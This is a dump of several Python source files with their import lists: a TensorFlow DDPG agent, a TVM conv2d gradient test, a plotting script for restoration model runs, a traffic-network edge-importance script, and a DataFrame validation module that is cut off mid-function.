self.get_critic_grads(normalized_obs0, actions, target_Q)\n\n if MPI is not None:\n self.actor_optimizer.apply_gradients(actor_grads, self.actor_lr)\n self.critic_optimizer.apply_gradients(critic_grads, self.critic_lr)\n else:\n self.actor_optimizer.apply_gradients(zip(actor_grads, self.actor.trainable_variables))\n self.critic_optimizer.apply_gradients(zip(critic_grads, self.critic.trainable_variables))\n\n return critic_loss, actor_loss\n\n @tf.function\n def compute_normalized_obs0_and_target_Q(self, obs0, obs1, rewards, terminals1):\n normalized_obs0 = tf.clip_by_value(normalize(obs0, self.obs_rms), self.observation_range[0], self.observation_range[1])\n normalized_obs1 = tf.clip_by_value(normalize(obs1, self.obs_rms), self.observation_range[0], self.observation_range[1])\n Q_obs1 = denormalize(self.target_critic(normalized_obs1, self.target_actor(normalized_obs1)), self.ret_rms)\n target_Q = rewards + (1. - terminals1) * self.gamma * Q_obs1\n return normalized_obs0, target_Q\n\n @tf.function\n def get_actor_grads(self, normalized_obs0):\n with tf.GradientTape() as tape:\n actor_tf = self.actor(normalized_obs0)\n normalized_critic_with_actor_tf = self.critic(normalized_obs0, actor_tf)\n critic_with_actor_tf = denormalize(tf.clip_by_value(normalized_critic_with_actor_tf, self.return_range[0], self.return_range[1]), self.ret_rms)\n actor_loss = -tf.reduce_mean(critic_with_actor_tf)\n actor_grads = tape.gradient(actor_loss, self.actor.trainable_variables)\n if self.clip_norm:\n actor_grads = [tf.clip_by_norm(grad, clip_norm=self.clip_norm) for grad in actor_grads]\n if MPI is not None:\n actor_grads = tf.concat([tf.reshape(g, (-1,)) for g in actor_grads], axis=0)\n return actor_grads, actor_loss\n\n @tf.function\n def get_critic_grads(self, normalized_obs0, actions, target_Q):\n with tf.GradientTape() as tape:\n normalized_critic_tf = self.critic(normalized_obs0, actions)\n normalized_critic_target_tf = tf.clip_by_value(normalize(target_Q, self.ret_rms), self.return_range[0], self.return_range[1])\n critic_loss = tf.reduce_mean(tf.square(normalized_critic_tf - normalized_critic_target_tf))\n # The first is input layer, which is ignored here.\n if self.critic_l2_reg > 0.:\n # Ignore the first input layer.\n for layer in self.critic.network_builder.layers[1:]:\n # The original l2_regularizer takes half of sum square.\n critic_loss += (self.critic_l2_reg / 2.)* tf.reduce_sum(tf.square(layer.kernel))\n critic_grads = tape.gradient(critic_loss, self.critic.trainable_variables)\n if self.clip_norm:\n critic_grads = [tf.clip_by_norm(grad, clip_norm=self.clip_norm) for grad in critic_grads]\n if MPI is not None:\n critic_grads = tf.concat([tf.reshape(g, (-1,)) for g in critic_grads], axis=0)\n return critic_grads, critic_loss\n\n\n def initialize(self):\n if MPI is not None:\n sync_from_root(self.actor.trainable_variables + self.critic.trainable_variables)\n self.target_actor.set_weights(self.actor.get_weights())\n self.target_critic.set_weights(self.critic.get_weights())\n\n @tf.function\n def update_target_net(self):\n for var, target_var in zip(self.actor.variables, self.target_actor.variables):\n target_var.assign((1. - self.tau) * target_var + self.tau * var)\n for var, target_var in zip(self.critic.variables, self.target_critic.variables):\n target_var.assign((1. - self.tau) * target_var + self.tau * var)\n\n def get_stats(self):\n\n if self.stats_sample is None:\n # Get a sample and keep that fixed for all further computations.\n # This allows us to estimate the change in value for the same set of inputs.\n self.stats_sample = self.memory.sample(batch_size=self.batch_size)\n obs0 = self.stats_sample['obs0']\n actions = self.stats_sample['actions']\n normalized_obs0 = tf.clip_by_value(normalize(obs0, self.obs_rms), self.observation_range[0], self.observation_range[1])\n normalized_critic_tf = self.critic(normalized_obs0, actions)\n critic_tf = denormalize(tf.clip_by_value(normalized_critic_tf, self.return_range[0], self.return_range[1]), self.ret_rms)\n actor_tf = self.actor(normalized_obs0)\n normalized_critic_with_actor_tf = self.critic(normalized_obs0, actor_tf)\n critic_with_actor_tf = denormalize(tf.clip_by_value(normalized_critic_with_actor_tf, self.return_range[0], self.return_range[1]), self.ret_rms)\n\n stats = {}\n if self.normalize_returns:\n stats['ret_rms_mean'] = self.ret_rms.mean\n stats['ret_rms_std'] = self.ret_rms.std\n if self.normalize_observations:\n stats['obs_rms_mean'] = tf.reduce_mean(self.obs_rms.mean)\n stats['obs_rms_std'] = tf.reduce_mean(self.obs_rms.std)\n stats['reference_Q_mean'] = tf.reduce_mean(critic_tf)\n stats['reference_Q_std'] = reduce_std(critic_tf)\n stats['reference_actor_Q_mean'] = tf.reduce_mean(critic_with_actor_tf)\n stats['reference_actor_Q_std'] = reduce_std(critic_with_actor_tf)\n stats['reference_action_mean'] = tf.reduce_mean(actor_tf)\n stats['reference_action_std'] = reduce_std(actor_tf)\n\n if self.param_noise:\n perturbed_actor_tf = self.perturbed_actor(normalized_obs0)\n stats['reference_perturbed_action_mean'] = tf.reduce_mean(perturbed_actor_tf)\n stats['reference_perturbed_action_std'] = reduce_std(perturbed_actor_tf)\n stats.update(self.param_noise.get_stats())\n return stats\n\n\n\n def adapt_param_noise(self, obs0):\n try:\n from mpi4py import MPI\n except ImportError:\n MPI = None\n\n if self.param_noise is None:\n return 0.\n\n mean_distance = self.get_mean_distance(obs0).numpy()\n\n if MPI is not None:\n mean_distance = MPI.COMM_WORLD.allreduce(mean_distance, op=MPI.SUM) / MPI.COMM_WORLD.Get_size()\n\n self.param_noise.adapt(mean_distance)\n return mean_distance\n\n @tf.function\n def get_mean_distance(self, obs0):\n # Perturb a separate copy of the policy to adjust the scale for the next \"real\" perturbation.\n update_perturbed_actor(self.actor, self.perturbed_adaptive_actor, self.param_noise.current_stddev)\n\n normalized_obs0 = tf.clip_by_value(normalize(obs0, self.obs_rms), self.observation_range[0], self.observation_range[1])\n actor_tf = self.actor(normalized_obs0)\n adaptive_actor_tf = self.perturbed_adaptive_actor(normalized_obs0)\n mean_distance = tf.sqrt(tf.reduce_mean(tf.square(actor_tf - adaptive_actor_tf)))\n return mean_distance\n\n def reset(self):\n # Reset internal state after an episode is complete.\n if self.action_noise is not None:\n self.action_noise.reset()\n if self.param_noise is not None:\n update_perturbed_actor(self.actor, self.perturbed_actor, self.param_noise.current_stddev)\n" ]
[ [ "numpy.array", "tensorflow.shape", "tensorflow.GradientTape", "tensorflow.reshape", "tensorflow.constant", "tensorflow.clip_by_norm", "tensorflow.clip_by_value", "tensorflow.name_scope", "tensorflow.keras.optimizers.Adam", "tensorflow.reduce_mean", "tensorflow.square" ] ]
imxian/FlexTensor
[ "311af3362856ea1b0073404fffad42c54585c205" ]
[ "flextensor/test/test_tvm_expr/grad/te-conv2d-case2.py" ]
[ "import tvm\nimport numpy as np \nimport torch\n\n\nN = 3\nnC = 16\nH = 15\nW = 15\nK = 16\nR = 3\nS = 3\n\nst = 2\ngroup = 2\n\nOG = K // group\nIG = nC // group\n\nP = (H - R + 1) // st + 1\nQ = (W - S + 1) // st + 1\n\ndtype = \"float32\"\n\nA = tvm.te.placeholder([N, nC, H, W], dtype=dtype, name=\"A\")\nB = tvm.te.placeholder([K, nC, R, S], dtype=dtype, name=\"B\")\nc = tvm.te.reduce_axis([0, nC], name=\"c\")\nr = tvm.te.reduce_axis([0, R], name=\"r\")\ns = tvm.te.reduce_axis([0, S], name=\"s\")\nC = tvm.te.compute([N, K, P, Q],\n lambda n, k, h, w :\n tvm.te.sum(A[n, c, h * st + r, w * st + s] * B[k, c, r, s], axis=[c,r,s]), name=\"C\")\n\ndC = tvm.te.placeholder([N, K, P, Q], dtype=dtype, name=\"dC\")\n\nprint(C.op.body)\n\nprint(dir(C.op.body[0].source[0]))\n\nprint(tvm.te.expr_equal(C.op.body[0].source[0].b.args[0], C.op.body[0].source[0].b.args[1]))\n\ndA = tvm.te.grad_op(A, C, dC)\n\ns = tvm.te.create_schedule(dA.op)\n\nprint(tvm.lower(s, [A, B, dC, dA], simple_mode=True))\n\nfunc = tvm.build(s, [A, B, dC, dA], target=\"llvm\")\n\nA_np = np.random.uniform(-1, 1, [N, nC, H, W]).astype(\"float32\")\n# B_np = np.ones([K, nC, R, S]).astype(\"float32\")\nB_np = np.random.uniform(-1, 1, [K, nC, R, S]).astype(\"float32\")\n# dC_np = np.ones([N, K, P, Q]).astype(\"float32\")\ndC_np = np.random.uniform(-1, 1, [N, K, P, Q]).astype(\"float32\")\nprint(dC_np)\ndA_np = np.zeros([N, nC, H, W]).astype(\"float32\")\n\nctx = tvm.context(\"llvm\", 0)\nA_tvm = tvm.nd.array(A_np, ctx)\nB_tvm = tvm.nd.array(B_np, ctx)\ndC_tvm = tvm.nd.array(dC_np, ctx)\ndA_tvm = tvm.nd.array(dA_np, ctx)\n\nfunc(A_tvm, B_tvm, dC_tvm, dA_tvm)\n\n\n# compare the results with pytorch\nA_torch = torch.tensor(A_np)\nB_torch = torch.tensor(B_np)\ndC_torch = torch.tensor(dC_np)\n#without output_padding=1: shapes (2, 16, 14, 14), golden:(2, 16, 13, 13) mismatch\ngolden_torch = torch.nn.functional.conv_transpose2d(dC_torch, B_torch, stride=(st, st), output_padding=0)\n# print(\"da_tvm\", dA_tvm.shape)\n# print(\"golden_shape,\", golden_torch.size())\n\nprint(\"dA_tvm:\", dA_tvm)\n# print(\"golden_torch\", golden_torch)\ntvm.testing.assert_allclose(dA_tvm.asnumpy(), golden_torch.numpy(), atol=1e-3, rtol=1e-5)\n" ]
[ [ "torch.nn.functional.conv_transpose2d", "numpy.random.uniform", "torch.tensor", "numpy.zeros" ] ]
bknorris/Postdoc
[ "cdcee0fda40b99e2990077ef4567f25193b8a672" ]
[ "Paper2_OptimizingRestoration/Figures/Plot_eps_norm_vs_lambda_D_V3.py" ]
[ "# -*- coding: utf-8 -*-\n\"\"\"\nEps_norm vs waveLength/D (colored by Tw) for Paper2_optimizingRestoration\n\nBKN - USGS 2022\n\"\"\"\n\nimport pickle\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nfrom scipy import stats\n\nplt.close('all')\n\n# Define file paths:\ncsv_source = Path('c:/Users/bknorris/Documents/Models/Paper2_OptimizingRestoration/ModelRuns/Scenarios/')\nmodel_source = Path('c:/Users/bknorris/Documents/Models/Paper2_OptimizingRestoration/ModelRuns/Scenarios/postProcessed')\nsave_fig_dir = Path('c:/Users/bknorris/Documents/Models/Paper2_OptimizingRestoration/Figures')\ncsv_file = 'modelPostProcessing_mod1.csv'\ndata_file = 'modelPostProcessing_D2-32_V3.dat'\nsave_figures = False\n\n# Load binary results file\nfile = open(model_source / data_file, 'rb')\ndata = pickle.load(file)\nfile.close()\n\n# Load CSV\ncsv_file = csv_source / csv_file\nmodel_info = pd.read_csv(csv_file.open())\n\n# Get data indices from CSV -- filter by waveHeight\nfive = np.where(model_info.waveHeight == 0.001388889)[0].tolist()\nten = np.where(model_info.waveHeight == 0.004166667)[0].tolist()\ntwenty = np.where(model_info.waveHeight == 0.008333333)[0].tolist()\nwaves = [five, ten, twenty]\n\n# Begin figure\nplt.style.use('_mpl-gallery')\nf1 = plt.figure(figsize=(10, 6))\naxes1 = f1.add_axes([0.1, 0.35, 0.28, 0.55])\naxes2 = f1.add_axes([0.4, 0.35, 0.28, 0.55])\naxes3 = f1.add_axes([0.7, 0.35, 0.28, 0.55])\nax = [axes1, axes2, axes3]\n\n# Colormaps from ColorBrewer\nBuGn = ['#ccece6', '#93ccb1', '#63aa83', '#3c885b', '#1b6539', '#00441b']\nOrRd = ['#fdd49e', '#f5a677', '#e27b55', '#c65336', '#a42e1b', '#7f0000']\nPuBu = ['#d0d1e6', '#99b3d2', '#6993b8', '#40749b', '#1d567a', '#023858']\ncmap = [BuGn, OrRd, PuBu]\n\n# Marker spec\nmarkers = ['o', '^', 's', 'd', 'X', '>']\n\n# Plot routine\nfor i in range(0, len(waves)):\n scenario = model_info.orgScenarioNumber[waves[i]].tolist()\n scenario = [str(x) for x in scenario]\n wavePeriod = model_info.wavePeriod[waves[i]].tolist()\n waveHeight = model_info.waveHeight[waves[i]]\n wave_unq = np.unique(wavePeriod)\n spacing = model_info.deltaS[waves[i]] * 36\n spce_unq = np.unique(spacing)\n\n for j in range(0, len(wave_unq)):\n for k in range(0, len(spce_unq)):\n idx1 = np.where(wavePeriod == wave_unq[j])[0].tolist()\n idx2 = np.where(spacing == spce_unq[k])[0].tolist()\n idx = np.intersect1d(idx1, idx2)[0]\n Tp = wavePeriod[idx]\n waveLength = (9.81 * (Tp**2)) / (2 * np.pi)\n\n x_scaled = spce_unq[k] / 0.4\n x = waveLength / x_scaled\n \n eps = np.stack(data['avg_fields'][scenario[idx]]['eps'])\n umag = np.stack(data['avg_fields'][scenario[idx]]['Umag'])\n eps_norm = [np.median(eps[f]) / (np.median(umag[f]**3)) for f in range(len(eps))]\n # eps_norm[0] = np.min(eps[0]) / (1**-1 * dFdx)\n \n y = eps_norm\n z = np.linspace(0.027, 0.001, len(y)) * 36\n yBins = stats.binned_statistic(z, y, 'mean', bins=20)\n y_mean = np.mean(yBins.statistic[:-2])\n \n leg = f'${x_scaled:.1f}D$'\n ax[i].loglog(x, y_mean, color=cmap[j][k],\n lw=0,\n marker=markers[k],\n markersize=7,\n mec='k',\n label=leg)\n \n# # Plot Adjustments:\n# # Axis scaling\n# ax[0].set_xlim(1, 500)\n# ax[0].set_ylim(5e-5, 5e-2)\n# ax[1].set_xlim(1, 500)\n# ax[1].set_ylim(5e-5, 5e-2)\n# ax[2].set_xlim(1, 500)\n# ax[2].set_ylim(5e-5, 5e-2)\n# # Labeling\n# ax[1].yaxis.set_ticklabels([])\n# ax[2].yaxis.set_ticklabels([])\n\n# ax[0].set_ylabel(r'$\\langle \\overline{\\epsilon \\left/ (h^{-1} \\partial F / \\partial x) \\right.} \\rangle$')\n# ax[0].set_xlabel(r'$\\lambda \\left/ D \\right.$')\n# ax[1].set_xlabel(r'$\\lambda \\left/ D \\right.$')\n# ax[2].set_xlabel(r'$\\lambda \\left/ D \\right.$')\n# ax[0].set_title(r'$H_s = \\mathrm{0.05 \\ m \\ Models}$')\n# ax[1].set_title(r'$H_s = \\mathrm{0.15 \\ m \\ Models}$')\n# ax[2].set_title(r'$H_s = \\mathrm{0.30 \\ m \\ Models}$')\n\n# # Multiple legend titles\n# handles, labels = ax[2].get_legend_handles_labels()\n# leg1 = ax[0].legend(handles[0:6], labels[0:6], bbox_to_anchor=(1.35, -0.14),\n# frameon=False,\n# title=r'$T_w = \\mathrm{30 \\ s}$')\n# title = leg1.get_title()\n# title.set_size(12)\n# title.set_weight(\"bold\")\n\n# handles, labels = ax[1].get_legend_handles_labels()\n# leg2 = ax[1].legend(handles[6:12], labels[6:12], bbox_to_anchor=(0.66, -0.14),\n# frameon=False,\n# title=r'$T_w = \\mathrm{60 \\ s}$')\n# title = leg2.get_title()\n# title.set_size(12)\n# title.set_weight(\"bold\")\n\n# handles, labels = ax[2].get_legend_handles_labels()\n# leg3 = ax[2].legend(handles[12:18], labels[12:18], bbox_to_anchor=(0, -0.14),\n# frameon=False,\n# title=r'$T_w = \\mathrm{120 \\ s}$')\n# title = leg3.get_title()\n# title.set_size(12)\n# title.set_weight(\"bold\")\n\n# # Global font adjustments\n# SMALL_SIZE = 8\n# MEDIUM_SIZE = 10\n# LARGE_SIZE = 12\n \n# # Save figure\n# if save_figures:\n# fname = 'Eps_norm_vs_lambdaD_V1.png'\n# plt.savefig(save_fig_dir / fname, dpi=300, format=None, metadata=None,\n# bbox_inches=None, pad_inches=0.1,\n# facecolor='auto', edgecolor='auto',\n# backend=None)" ]
[ [ "numpy.median", "matplotlib.pyplot.close", "numpy.mean", "matplotlib.pyplot.figure", "numpy.where", "numpy.stack", "matplotlib.pyplot.style.use", "numpy.intersect1d", "scipy.stats.binned_statistic", "numpy.unique" ] ]
tapnx/tapnx
[ "5c1d21345ccd499939e35702526a4e2b7160ca4e" ]
[ "test_scripts/nq_example_grid_edge.py" ]
[ "import pandas as pd\nimport tapnx as tapnx\nimport networkx as nx\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\n\n\ndef importance_computation(G,E,u,v):\n H = tapnx.remove_edge(G, u,v)\n H, data = tapnx.gradient_projection(H,edge_func=edge_func, edge_func_derivative=edge_func_derivative, collect_data=True,aec_gap_tol=tol,max_iter=max_iter,alpha=0.5)\n E1 = data['nq_measure']\n return tapnx.importance_measure(E,E1)\n\nfilename = 'nq_example_grid'\n\nedge_func = lambda x, a, b, c, n: a + b*x + c*x**n\nedge_func_derivative = lambda x, a, b, c, n: b + c*n*x**(n-1)\n\nG = tapnx.graph_from_csv(filename, nodes=True, trips=True, edge_attr=True)\n# fig, ax = tapnx.plot_graph(G, node_size=200, node_labels=True)\n# plt.show()\ntol = 10**-7\nmax_iter = 1000\nG, data = tapnx.gradient_projection(G,edge_func=edge_func, edge_func_derivative=edge_func_derivative, collect_data=True,aec_gap_tol=tol,max_iter=max_iter,alpha=0.5)\nE = data['nq_measure']\n\nimportance_results = {}\nfor (u,v) in sorted(G.edges()):\n print('computing NQ for edge ({},{})'.format(u,v))\n importance_results[(u,v)] = np.round(importance_computation(G,E,u,v),4)\n\n# compute the NQ measure as labelled in Nagurney 07\nedge_names = {\n (1,2):1,\n (2,3):2,\n (3,4):3,\n (4,5):4,\n (5,6):5,\n (6,7):6,\n (7,8):7,\n (8,9):8,\n (9,10):9,\n (1,11):10,\n (2,12):11,\n (3,13):12,\n (4,14):13,\n (5,15):14,\n (6,16):15,\n (7,17):16,\n (8,18):17,\n (9,19):18,\n (10,20):19,\n (11,12):20,\n (12,13):21,\n (13,14):22,\n (14,15):23,\n (15,16):24,\n (16,17):25,\n (17,18):26,\n (18,19):27,\n (19,20):28,\n}\n\nnagurney_labelling = {edge_names[key]: value for key, value in sorted(importance_results.items())}\nfor key, value in sorted(nagurney_labelling.items(), key=lambda item: item[0], reverse=False):\n print(key, value)\n\n# compute the \n\nI = np.array([value for key, value in sorted(importance_results.items())])\n\nG = tapnx.update_edge_attribute(G, 'importance', I)\n\nedge_color = tapnx.get_edge_colors_by_attr(G, 'importance')\n\n# plot network with edges coloured by edge attribute value\nfig, ax = tapnx.plot_graph(\n G, edge_color=edge_color, node_size=200, node_labels=True,\n edge_labels=True, edge_label_attr='importance'\n)\nfig.colorbar(cm.ScalarMappable(norm=None, cmap='plasma'), ax=ax)\n\nplt.show()" ]
[ [ "matplotlib.pyplot.show", "matplotlib.cm.ScalarMappable" ] ]
open-data-toronto/tool-data-validation
[ "b264a80056de01243b31716bbc5340b0d4038641" ]
[ "app/validate_data.py" ]
[ "from datetime import datetime\nfrom shapely.geometry import shape, MultiPolygon, MultiPoint, MultiLineString\n\nimport json\nimport sys\nimport traceback\n\nimport geopandas as gpd\nimport numpy as np\nimport pandas as pd\nimport requests\nimport utils\n\nclass DataFrameComparison:\n def __init__(self, src, new, columns_excluded=['_id']):\n self.columns_excluded = columns_excluded\n self.src = src.drop(np.intersect1d(src.columns, self.columns_excluded), axis=1)\n self.new = new.drop(np.intersect1d(new.columns, self.columns_excluded), axis=1)\n\n def compare_columns(self):\n '''\n Compares the columns between the source and new DataFrame to find:\n * the columns that were inserted into the new DataFrame\n * the columns that existed in the source DataFrame but missing from the new DataFrame\n * the columns where the datatypes changed between the source and new DataFrames\n '''\n src, new = self.src, self.new\n results = []\n for column in np.union1d(new.columns, src.columns):\n change = 'matched'\n if (column in src.columns and src[column].dropna().empty) and (column in new.columns and new[column].dropna().empty) \\\n and ((src[column].dtype == 'object' and new[column].dtype == 'float64') or ( src[column].dtype == 'float64' and new[column].dtype == 'object' )):\n src[column] = src[column].astype('object')\n new[column] = new[column].astype('object')\n elif column in new.columns and column in src.columns and src[column].dtype != new[column].dtype:\n change = 'modified'\n elif column in new.columns and column not in src.columns:\n change = 'added'\n elif column in src.columns and column not in new.columns:\n change = 'removed'\n\n results.append({\n 'message': change,\n 'index': column,\n 'source': src[column].dtype.name if column in src.columns else False,\n 'new': new[column].dtype.name if column in new.columns else False\n })\n\n if len(results):\n results = pd.DataFrame(results).set_index('index').reset_index(drop=False) \n else:\n results = pd.DataFrame()\n \n results.index.name = None\n\n return results\n\n def compare_rows(self):\n '''\n Compare the rows between the source and new DataFrame to find:\n * the number of rows that changed between the source and new DataFrame\n '''\n\n results = {\n 'index': 'Change in # of Records',\n 'source': len(self.src.index),\n 'new': len(self.new.index),\n 'difference': len(self.new.index) - len(self.src.index)\n }\n\n results = pd.DataFrame.from_dict(results, orient='index').T\n\n return results\n\n def compare_dataframes(self):\n src, new = self.src, self.new\n if type(src) != type(new):\n return {\n 'message': 'Trying to compare geographic and tabular datasets',\n 'level': 'error'\n }\n\n if isinstance(src, gpd.geodataframe.GeoDataFrame) and isinstance(new, gpd.geodataframe.GeoDataFrame):\n src['geometry'] = src['geometry'].apply(lambda x: str(x))\n new['geometry'] = new['geometry'].apply(lambda x: str(x))\n\n src_cols = sorted([c for c in self.src.columns.values])\n new_cols = sorted([c for c in self.new.columns.values])\n src = src[src_cols].sort_values(by=src_cols).reset_index(drop=True)\n new = new[new_cols].sort_values(by=new_cols).reset_index(drop=True)\n same_df = src.equals(new)\n\n return {\n 'message': 'Data is exactly the same, i.e. all rows and values.' if same_df else 'Data is not exactly the same.',\n 'level': 'error' if same_df else 'info'\n }\n \n\nclass DataFrameValidation:\n '''\n TODOS:\n * Add \"name\" (in the index or df) for ease of use\n * Validate datetime formats are consistent\n '''\n\n def __init__(self, data, schema={}, columns_excluded=['_id'], perc_leading_sp=0.8, perc_trailing_sp=0.8, perc_missing_thresh=0.8, perc_zeros_thresh=0.8, area_m2_thresh=1, len_m_thresh=1, xmin=-8866597.4417, ymin=5399138.0493, xmax=-8806484.9167, ymax=5443802.3603, epsg_code = 3857, city_wards_agol_url='https://services3.arcgis.com/b9WvedVPoizGfvfD/arcgis/rest/services/COTGEO_CITY_WARD/FeatureServer', max_column_name_length=10):\n if 'geometry' in columns_excluded:\n columns_excluded.pop(columns_excluded.index('geometry'))\n\n self.columns_excluded = columns_excluded\n self.df = data.drop(np.intersect1d(data.columns, columns_excluded), axis=1)\n self.schema = schema\n\n self.perc_missing_thresh=perc_missing_thresh\n self.perc_zeros_thresh=perc_zeros_thresh\n self.area_m2_thresh=area_m2_thresh\n self.len_m_thresh=len_m_thresh\n self.xmin=xmin\n self.ymin=ymin\n self.xmax=xmax\n self.ymax=ymax\n self.epsg_code=epsg_code\n self.city_wards_agol_url=city_wards_agol_url\n self.max_column_name_length=max_column_name_length\n self.perc_leading_sp=perc_leading_sp\n self.perc_trailing_sp=perc_trailing_sp\n\n def get_params(self):\n return {\n 'perc_missing_thresh': int(self.perc_missing_thresh*100),\n 'perc_zeros_thresh': int(self.perc_zeros_thresh*100),\n 'perc_leading_sp': int(self.perc_leading_sp*100),\n 'perc_trailing_sp': int(self.perc_trailing_sp*100),\n 'area_m2_thresh': self.area_m2_thresh,\n 'len_m_thresh': self.len_m_thresh,\n 'xmin': self.xmin,\n 'ymin': self.ymin,\n 'xmax': self.xmax,\n 'ymax': self.ymax,\n 'epsg_code': self.epsg_code,\n 'city_wards_agol_url': self.city_wards_agol_url,\n 'max_column_name_length': self.max_column_name_length\n }\n\n def profile_dataframe(self):\n results = {\n 'Geometry': self.validate_geometry(),\n 'Truncated Column Names': self.validate_column_names(),\n 'Geo Slivers': self.validate_slivers(),\n 'Single Geometry Type': self.validate_single_geom_type(),\n 'Geometries In Boundaries': self.validate_geometries_in_boundaries()\n }\n\n return results\n\n def profile_columns(self):\n '''\n Flags columns that meet one of the following criteria:\n 1. % missing > perc_missing_thresh\n 2. % zeros > perc_zeros_thresh\n 3. A constant\n 4. All unique values (may be a foreign key)\n 5. Same number of unique values as another column (may be code/description/foreign key columns)\n '''\n df = self.df[[ c for c in self.df.columns if c != 'geometry' ]]\n\n # Initiate the thresholds and comparison methods\n cutoffs = pd.DataFrame({\n 'p_missing': (np.greater, self.perc_missing_thresh),\n 'p_zeros': (np.greater, self.perc_zeros_thresh),\n 'distinct_count': (np.equal, 1),\n 'is_unique': (np.equal, True),\n 'p_leading_space': (np.greater, self.perc_leading_sp),\n 'p_trailing_space': (np.greater, self.perc_trailing_sp) \n }, index=['method', 'threshold'])\n\n def check_column(array):\n return {\n 'p_missing': (array.size - array.count()) / array.size,\n 'p_zeros': array[array == 0].size / array.size,\n 'distinct_count': array.nunique(),\n 'is_unique': True if array.size == array.nunique() else False,\n 'p_leading_space': array.dropna()[array.dropna().str.startswith(\" \")].size / array.size if array.dtype.name == 'object' else np.nan,\n 'p_trailing_space': array.dropna()[array.dropna().str.endswith(\" \")].size / array.size if array.dtype.name == 'object' else np.nan\n }\n\n profile = {}\n for column in df.columns:\n profile[column] = check_column(df[column])\n profile = pd.DataFrame(profile).T\n\n matched_columns = []\n dcount = profile[(~profile['is_unique'])&(profile['distinct_count']>1)].groupby('distinct_count').size()\n\n for idx, num in dcount.iteritems():\n matched = profile[profile['distinct_count']==idx].index.tolist()\n\n if num > 1 and len(df[matched].drop_duplicates().index) == idx:\n for i, col in enumerate(matched):\n matched_columns.append([ col, ', '.join([x for x in matched if x != col]) ])\n\n matched_columns = pd.DataFrame(matched_columns, columns=['', 'matched_columns']).set_index('')\n\n dtype_check = self.validate_dtypes()\n\n validate = profile.where(profile.apply(lambda x: cutoffs[x.name]['method'](x.fillna(0), cutoffs[x.name]['threshold'])), axis=1).dropna(how='all')\n validate = validate.join(matched_columns, how='outer').join(dtype_check, how='outer')\n validate['p_missing'] = validate['p_missing'].fillna(0.0).apply(lambda x: str(round(x*100)) + '%' if x != 0 else np.nan) if 'p_missing' in validate.columns else np.nan\n validate['p_zeros'] = validate['p_zeros'].fillna(0.0).apply(lambda x: str(round(x*100)) + '%' if x != 0 else np.nan) if 'p_zeros' in validate.columns else np.nan\n validate['distinct_count'] = validate['distinct_count'].apply(lambda x: True if x == x else False)\n\n return validate\n\n def validate_dtypes(self):\n '''\n Compares column data types specified by the data steward with the pandas data types.\n '''\n df = self.df[[ c for c in self.df.columns if c != 'geometry' ]]\n\n dtype_map = {\n 'object': ['TEXT', 'VARCHAR', 'esriFieldTypeString'],\n 'int64': ['INTEGER', 'esriFieldTypeSmallInteger', 'esriFieldTypeInteger', 'esriFieldTypeOID'],\n 'float64': ['DECIMAL', 'esriFieldTypeDouble', 'float'],\n 'bool': ['TRUE/FALSE'],\n 'datetime64': ['DATETIME', 'esriFieldTypeDate']\n }\n\n for key in list(dtype_map.keys()):\n for t in dtype_map[key]:\n dtype_map[t.upper()] = key\n\n dtype_map.pop(key)\n\n results = {}\n schema = pd.DataFrame(self.schema)\n if not schema.empty:\n schema = schema.set_index('name').T\n\n for column in np.setdiff1d(schema.columns, df.columns):\n results[column] = 'Missing from data'\n\n for column in np.setdiff1d(df.columns, schema.columns):\n results[column] = 'Missing from schema'\n\n for column in np.intersect1d(schema.columns, df.columns):\n if schema[column]['type'].upper() in dtype_map:\n column_dtype = df[column].dtype.name # Actual\n pandas_dtype = dtype_map[schema[column]['type'].upper()] # Should be\n\n passed = column_dtype == pandas_dtype\n if not passed:\n try:\n column_values = df[column].dropna().drop_duplicates()\n if not column_values.empty:\n if pandas_dtype in ['int64', 'float64', 'float32', 'float']:\n column_values = pd.to_numeric(column_values)\n elif pandas_dtype in ['datetime64']:\n column_values = pd.to_datetime(column_values)\n elif pandas_dtype in ['bool']:\n column_values = column_values.astype(pandas_dtype)\n else:\n column_values = column_values.astype(str)\n\n passed = True\n except Exception as e:\n results[column] = {\n 'message': 'Unable to map {column_dtype} to {pandas_dtype}'.format(\n column_dtype=column_dtype,\n pandas_dtype=schema[column]['type']\n ),\n 'level': 'error'\n }\n\n if passed:\n results[column] = {\n 'message': 'Pass',\n 'level': 'success'\n }\n else:\n results[column] = {\n 'message': 'No mapping found for dtype: {0}'.format(schema[column]['type']),\n 'level': 'error'\n }\n\n results = pd.DataFrame.from_dict(results, orient='index').drop('level', axis=1).replace('Pass', np.nan)\n results.columns = ['dtype_map']\n\n return results\n\n def validate_geometry(self):\n if not isinstance(self.df, gpd.geodataframe.GeoDataFrame):\n return {\n 'message': 'Data not a valid GeoDataFrame',\n 'level': 'info'\n }\n\n invalid_geometries = self.df.index[~self.df['geometry'].is_valid]\n if invalid_geometries.empty:\n return {\n 'message': 'Pass',\n 'level': 'success'\n }\n\n return {\n 'message': 'Invalid geometries found',\n 'level': 'error',\n 'details': {\n 'count': invalid_geometries.shape[0],\n 'content': invalid_geometries.values.tolist()\n }\n }\n \n def validate_slivers(self):\n GEOM_TYPE_MAP = {\n 'Polygon': {'shapely_geometry': MultiPolygon, 'threshold': self.area_m2_thresh},\n 'LineString': {'shapely_geometry': MultiLineString, 'threshold': self.len_m_thresh}\n }\n if not isinstance(self.df, gpd.geodataframe.GeoDataFrame):\n return {\n 'message': 'Data not a valid GeoDataFrame',\n 'level': 'info'\n }\n\n df = self.df.explode().to_crs({'init': 'epsg:2019', 'units': 'm'})\n\n if any(['linestring' in x.lower() or 'polygon' in x.lower() for x in self.df.geom_type]):\n def get_area_or_length(x):\n if 'polygon' in x.geom_type.lower():\n return True if x.area < self.area_m2_thresh else False\n elif 'linestring' in x.geom_type.lower():\n return True if x.length < self.len_m_thresh else False\n else:\n return np.nan\n\n df['sliver'] = df['geometry'].apply(get_area_or_length)\n slivers = df[df['sliver'] == True]\n\n if slivers.empty:\n return {\n 'message': 'Pass',\n 'level': 'success'\n }\n\n return {\n 'message': 'Slivers found',\n 'level': 'warning',\n 'details': {\n 'count': slivers.shape[0],\n 'content': slivers.to_json(),\n }\n }\n\n return {\n 'message': 'Points only, no polygons or lines',\n 'level': 'info'\n }\n\n def validate_single_geom_type(self):\n '''\n '''\n if not isinstance(self.df, gpd.geodataframe.GeoDataFrame):\n return {\n 'message': 'Data not a valid GeoDataFrame',\n 'level': 'info'\n }\n\n geom_types = self.df['geometry'].geom_type.unique()\n\n if len(geom_types) == 1:\n return 